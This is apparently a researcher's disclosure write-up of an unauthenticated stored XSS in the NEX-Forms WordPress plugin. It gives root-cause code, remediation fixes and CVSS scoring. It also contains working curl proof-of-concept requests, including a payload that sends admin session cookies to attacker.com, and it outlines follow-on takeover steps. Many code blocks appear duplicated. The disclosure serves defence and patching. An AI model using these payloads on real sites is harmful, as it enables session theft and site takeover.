July 3, 2026
Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10)
TL;DR: Any anonymous visitor can POST a JavaScript payload to NEX-Forms’ form submission endpoint. The plugin stores it unsanitized in the…
By Sandiyo Christan
5 min read
- 1 TL;DR:_ Any anonymous visitor can POST a JavaScript payload to NEX-Forms' form submission endpoint. The plugin stores it unsanitized in the database. When_ any admin opens the Entries panel, the payload executes — silently, automatically, every time. Complete site takeover from a single curl command. (CVE-2026–10525)
- 2 📋 Vulnerability Summary
- 3 🔍 Introduction
- 4 ⛓️ Root Cause: Three Weaknesses, One Chain
- 5 Weakness 1 — Open AJAX Handler (main.php:2656)
TL;DR:_ Any anonymous visitor can POST a JavaScript payload to NEX-Forms' form submission endpoint. The plugin stores it unsanitized in the database. When_ any admin opens the Entries panel, the payload executes — silently, automatically, every time. Complete site takeover from a single curl command. (CVE-2026–10525)
Tags: #WordPresSecurity #InfoSec #SecurityResearch
📋 Vulnerability Summary
- Plugin: NEX-Forms Express WP Form Builder
- Affected Version: ≤ 9.1.10 (latest as of 2026–03–22)
- Patched Version: Fixed
- Disclosure Status: Officially disclosed by WPScan, with vendor approval for disclosure agreement
- Vulnerability Type: Stored Cross-Site Scripting (XSS)
- CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation
- CVSS 3.1 Score: 8.8 HIGH
- CVSS Vector:
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Auth Required: ❌ None — fully unauthenticated
- Admin Interaction: ✅ Viewing the Entries page (routine workflow)
- Scope Change: ✅ Crosses from visitor context into privileged admin session
🔍 Introduction
NEX-Forms Express WP Form Builder is a widely deployed WordPress form plugin. While reviewing its form submission pipeline, I found a stored Cross-Site Scripting vulnerability that requires zero authentication to exploit and results in full WordPress administrator compromise.
The vulnerability chains three distinct weaknesses:
- An open AJAX handler accessible without login
- Missing HTML sanitization for array-type form fields
- Unescaped output rendering in the WordPress admin panel
Together, these allow a remote attacker to permanently plant malicious JavaScript that fires in every administrator's browser — automatically, every time they view the form entries.
⛓️ Root Cause: Three Weaknesses, One Chain
Weakness 1 — Open AJAX Handler (main.php:2656)
WordPress has two AJAX hook prefixes: wp_ajax_ (logged-in users) and wp_ajax_nopriv_ (anonymous users). NEX-Forms registers both for its form submission handler:
add_action( 'wp_ajax_submit_nex_form', 'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' ); // ← anonymous accessadd_action( 'wp_ajax_submit_nex_form', 'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' ); // ← anonymous accessRegistering a nopriv handler is legitimate for a public contact form. The problem is what the handler does — there's no nonce verification, no CSRF check, and no rate limiting:
function submit_nex_form($entry_action = false) {
// ONLY check: honeypot field must be empty
if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))
die();
// No: wp_verify_nonce(), check_ajax_referer(), current_user_can()
// → proceeds directly to processing POST datafunction submit_nex_form($entry_action = false) {
// ONLY check: honeypot field must be empty
if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))
die();
// No: wp_verify_nonce(), check_ajax_referer(), current_user_can()
// → proceeds directly to processing POST dataLeave company_url empty and avoid a @qq.com address — you're in.
Weakness 2 — Array Fields Skip Sanitization (main.php:2883)
Inside the handler, form fields from $_POST are processed in a loop. Here's the critical divergence:
if (is_array($val) || is_object($val)) {
// ← CWE-79: rest_sanitize_array() does NO HTML stripping
$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val),
];
} else {
$val = strip_tags($val); // ← scalar fields ARE stripped ✓
$data_array[] = ['field_name' => $key,
'field_value' => sanitize_text_field(str_replace('\\', '', $val))];
}if (is_array($val) || is_object($val)) {
// ← CWE-79: rest_sanitize_array() does NO HTML stripping
$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val),
];
} else {
$val = strip_tags($val); // ← scalar fields ARE stripped ✓
$data_array[] = ['field_name' => $key,
'field_value' => sanitize_text_field(str_replace('\\', '', $val))];
}⚠️ The key fact:
rest_sanitize_array()is a WordPress REST API utility. Its entire implementation isreturn array_values($data)— it reindexes the array and does nothing else. No HTML stripping. No entity encoding. Raw<script>,<img onerror>, and any other HTML passes straight through.
The fix for scalar fields is right there in the else branch. The developer correctly applied strip_tags() to strings but chose the wrong function for array inputs.
Weakness 3 — Raw Echo in Admin View (class.db.php:2624)
When an admin opens an entry in the NEX-Forms dashboard, populate_form_entry() decodes the stored JSON and renders each field into an HTML table. For array-type values:
foreach ($field_value as $val) {
// ...
$output .= rtrim($val, ', ') . '<br />'; // ← no esc_html(), raw HTML output
}foreach ($field_value as $val) {
// ...
$output .= rtrim($val, ', ') . '<br />'; // ← no esc_html(), raw HTML output
}rtrim() strips trailing commas and spaces. That's it. The stored <img src=x onerror=alert(document.domain)> is written verbatim into $output, which is echoed directly into the admin page. WordPress's esc_html() — a one-character fix — was never applied.
🔀 Attack Chain
Unauthenticated Attacker
│
│ 1. HTTP POST — no credentials, no nonce, no CSRF token
│ action=submit_nex_form
│ nex_forms_Id=1
│ company_url= ← honeypot bypassed (empty)
│ email=attacker@evil.com
│ payload[]=<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
│
▼
wp_ajax_nopriv_ handler fires
submit_nex_form() passes honeypot check
rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data
│
│ 2. Normal admin workflow: NEX-Forms → Entries
│ (no special action required)
│
▼
populate_form_entry() decodes JSON
rtrim($val) echoed without esc_html()
<img src=x onerror=...> written directly into admin page DOM
│
▼
Browser renders admin page
onerror fires automatically (no click required)
Session cookie exfiltrated to attacker's server
│
▼
COMPLETE SITE TAKEOVER
→ Rogue admin account created
→ Backdoor plugin installed
→ Full database exfiltratedUnauthenticated Attacker
│
│ 1. HTTP POST — no credentials, no nonce, no CSRF token
│ action=submit_nex_form
│ nex_forms_Id=1
│ company_url= ← honeypot bypassed (empty)
│ email=attacker@evil.com
│ payload[]=<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
│
▼
wp_ajax_nopriv_ handler fires
submit_nex_form() passes honeypot check
rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data
│
│ 2. Normal admin workflow: NEX-Forms → Entries
│ (no special action required)
│
▼
populate_form_entry() decodes JSON
rtrim($val) echoed without esc_html()
<img src=x onerror=...> written directly into admin page DOM
│
▼
Browser renders admin page
onerror fires automatically (no click required)
Session cookie exfiltrated to attacker's server
│
▼
COMPLETE SITE TAKEOVER
→ Rogue admin account created
→ Backdoor plugin installed
→ Full database exfiltrated🗄️ Database Evidence
After submitting the PoC payload, a direct database check confirms the raw HTML is persisted:
SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;
[
{"field_name": "email", "field_value": "attacker@evil.com"},
{"field_name": "payload", "field_value": ["<img src=x onerror=alert(document.domain)>"]}
]SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;
[
{"field_name": "email", "field_value": "attacker@evil.com"},
{"field_name": "payload", "field_value": ["<img src=x onerror=alert(document.domain)>"]}
]The <img> tag is stored verbatim with no entity encoding. It persists until manually deleted — meaning every admin who views the Entries page will trigger the XSS, not just the first.
🖥️ Admin Page Rendered Output
Lab-confirmed AJAX response when admin loads the injected entry:
<td valign="top" style="vertical-align:top !important;">
<table width="100%" class="highlight" cellpadding="10" cellspacing="0">
<img src=x onerror=alert(document.domain)><br />
</table>
</td><td valign="top" style="vertical-align:top !important;">
<table width="100%" class="highlight" cellpadding="10" cellspacing="0">
<img src=x onerror=alert(document.domain)><br />
</table>
</td>The <img> tag lands directly in the DOM. The browser tries to load src="x", fails, and fires onerror — no click, no interaction required.
💻 Proof of Concept
Disclosure note:_ This PoC is provided for educational and authorized security testing only. Lab environment: WordPress 6.9.4, NEX-Forms 9.1.10, Bitnami Docker._
Step 1 — Inject payload (unauthenticated)
curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "email=attacker@evil.com" \
--data "payload[]=<img src=x onerror=alert(document.domain)>"curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "email=attacker@evil.com" \
--data "payload[]=<img src=x onerror=alert(document.domain)>"Expected response — valid entry ID confirms storage:
<input type="hidden" name="nf_entry_id" value="13"><input type="hidden" name="nf_entry_id" value="13">Step 2 — Verify raw storage
wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"
# The <img> tag appears verbatim in field_value — no HTML encoding.wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"
# The <img> tag appears verbatim in field_value — no HTML encoding.Step 3 — Trigger XSS as admin
- Log in to WordPress admin: http://TARGET/wp-admin/
- Navigate to NEX-Forms → Form Entries
- Click the affected form → click the injected entry row
alert("localhost:8080")fires immediately — no interaction beyond page load
Step 4 — Real-world session hijack
curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "email=attacker@evil.com" \
--data 'payload[]=<img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);">'curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "email=attacker@evil.com" \
--data 'payload[]=<img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);">'When the administrator views entries, their session cookie is silently exfiltrated. From there, the attacker can create rogue admin accounts, install PHP webshell plugins, or dump the entire database.
💥 Impact
- Admin views Entries (normal workflow): JavaScript executes in admin browser context
- Session cookie theft: Attacker hijacks admin session without credentials
- Rogue admin creation:
fetch()silently POSTs to/wp-json/wp/v2/users - Plugin upload via REST API: PHP webshell installed without further interaction
- Site defacement:
document.body.innerHTMLoverwritten - Persistent backdoor: Payload fires for every admin who views entries
🛠️ Remediation
Two independent fixes are both necessary: sanitize at input, escape at output.
Fix 1 — Sanitize array fields at storage (main.php:2883)
Vulnerable:
$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val), // ← no HTML stripping
];$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val), // ← no HTML stripping
];Fixed:
$sanitized = array_map('sanitize_text_field', (array) $val);
$data_array[] = [
'field_name' => $key,
'field_value' => $sanitized,
];$sanitized = array_map('sanitize_text_field', (array) $val);
$data_array[] = [
'field_name' => $key,
'field_value' => $sanitized,
];Fix 2 — Escape output in admin view (class.db.php:2624)
Vulnerable:
$output .= rtrim($val, ', ') . '<br />';$output .= rtrim($val, ', ') . '<br />';Fixed:
$output .= esc_html(rtrim($val, ', ')) . '<br />';$output .= esc_html(rtrim($val, ', ')) . '<br />';Fix 3 — Nonce verification (defense-in-depth)
// Add at the top of submit_nex_form():
if (!isset($_POST['nf_nonce']) ||
!wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {
wp_send_json_error('Invalid request');
}// Add at the top of submit_nex_form():
if (!isset($_POST['nf_nonce']) ||
!wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {
wp_send_json_error('Invalid request');
}Fix 1 and Fix 2 each independently prevent the XSS. Fix 3 makes automated injection harder but is not a substitute for proper sanitization and escaping.
📊 CVSS 3.1 Breakdown
- Attack Vector (AV): Network (N) — Exploitable remotely over HTTP
- Attack Complexity (AC): Low (L) — Works on any default installation with a form
- Privileges Required (PR): None (N) — Fully unauthenticated
- User Interaction (UI): Required (R) — Admin views entries — their normal workflow
- Scope (S): Changed © — XSS crosses from visitor into privileged admin session
- Confidentiality ©: High (H) — Admin cookies, DB content, secret keys exposed
- Integrity (I): High (H) — Can create admins, install plugins, modify all content
- Availability (A): None (N) — No direct denial-of-service impact
Base Score: 8.8 HIGH — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
📣 Disclosure Resources
- Plugin Author: https://basixonline.net/
- WordPress Plugin Support: https://wordpress.org/support/plugin/nex-forms-express-wp-form-builder/
- Wordfence Bug Bounty: https://www.wordfence.com/wordfence-intelligence-wordpress-vulnerability-database/
- WPScan Vulnerability Database: https://wpscan.com/
🔑 Key Takeaways
For developers:
- Always apply
esc_html()(oresc_attr(),esc_url()) at every output point in WordPress — even in admin-only pages - Never assume admin-facing output is "safe" — XSS in admin context is just as dangerous as front-end XSS
rest_sanitize_array()is for REST API coercion, not for HTML sanitization — usearray_map('sanitize_text_field', $arr)instead- Apply the same sanitization consistently across all field types — asymmetric handling creates exploitable edge cases
For site owners:
- If you use NEX-Forms Express ≤ 9.1.10, update immediately to the patched version.
- Monitor your form entries for unexpected HTML or JavaScript in field values
- Consider a WAF rule blocking
<script,onerror=, andjavascript:in form POST bodies
Stay tune for more!!!